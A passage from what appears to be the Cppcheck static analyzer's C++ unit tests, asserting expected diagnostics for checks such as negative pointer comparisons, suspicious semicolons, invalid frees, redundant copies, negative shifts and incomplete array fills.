errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n 